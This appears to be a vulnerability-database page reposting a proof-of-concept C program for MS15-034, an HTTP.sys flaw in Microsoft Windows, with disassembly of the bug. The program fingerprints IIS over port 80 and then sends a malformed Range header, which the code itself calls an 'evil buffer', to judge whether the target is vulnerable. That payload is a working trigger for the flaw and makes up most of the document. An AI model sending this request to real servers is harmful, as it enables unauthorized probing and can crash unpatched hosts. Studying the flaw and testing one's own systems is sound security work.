Lucene search
K

Microsoft Windows HTTP.sys Proof Of Concept

🗓️ 16 Apr 2015 00:00:00Reported by rhcp011235Type 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 116 Views

Microsoft Windows HTTP.sys Buffer Overflow Proof of Concep

Related
Code
`/*  
UNTESTED - MS15-034 Checker  
  
THE BUG:  
  
8a8b2112 56 push esi  
8a8b2113 6a00 push 0  
8a8b2115 2bc7 sub eax,edi  
8a8b2117 6a01 push 1  
8a8b2119 1bca sbb ecx,edx  
8a8b211b 51 push ecx  
8a8b211c 50 push eax  
8a8b211d e8bf69fbff call HTTP!RtlULongLongAdd (8a868ae1) ; here  
  
ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4  
  
BY: [email protected]  
Twitter: @rhcp011235  
*/  
  
#include <sys/socket.h>  
#include <sys/types.h>  
#include <netinet/in.h>  
#include <netdb.h>  
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <errno.h>  
#include <arpa/inet.h>   
  
int connect_to_server(char *ip)  
{  
int sockfd = 0, n = 0;  
  
struct sockaddr_in serv_addr;  
struct hostent *server;  
  
if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)  
{  
printf("\n Error : Could not create socket \n");  
return 1;  
}  
  
memset(&serv_addr, '0', sizeof(serv_addr));  
serv_addr.sin_family = AF_INET;  
serv_addr.sin_port = htons(80);  
if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)  
{  
printf("\n inet_pton error occured\n");  
return 1;  
}  
if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)  
{  
printf("\n Error : Connect Failed \n");  
return 1;  
}   
  
return sockfd;  
}  
  
  
int main(int argc, char *argv[])  
{  
int n = 0;  
int sockfd;  
char recvBuff[1024];  
  
// Check server  
char request[] = "GET / HTTP/1.0\r\n\r\n";  
  
// our evil buffer  
char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";  
  
  
if(argc != 2)  
{  
printf("\n Usage: %s <ip of server> \n",argv[0]);  
return 1;  
}   
  
printf("[*] Audit Started\n");  
sockfd = connect_to_server(argv[1]);  
write(sockfd, request, strlen(request));   
read(sockfd, recvBuff, sizeof(recvBuff)-1);  
  
if (!strstr(recvBuff,"Microsoft"))  
{  
printf("[*] NOT IIS\n");  
exit(1);  
}  
  
sockfd = connect_to_server(argv[1]);  
write(sockfd, request1, strlen(request1));  
read(sockfd, recvBuff, sizeof(recvBuff)-1);  
if (strstr(recvBuff,"Requested Range Not Satisfiable"))  
{  
printf("[!!] Looks VULN\n");  
exit(1);  
} else if(strstr(recvBuff,"The request has an invalid header name")) {  
printf("[*] Looks Patched");  
} else  
printf("[*] Unexpected response, cannot discern patch status");  
  
  
  
  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

16 Apr 2015 00:00Current
9.5High risk
Vulners AI Score9.5
EPSS0.9431
116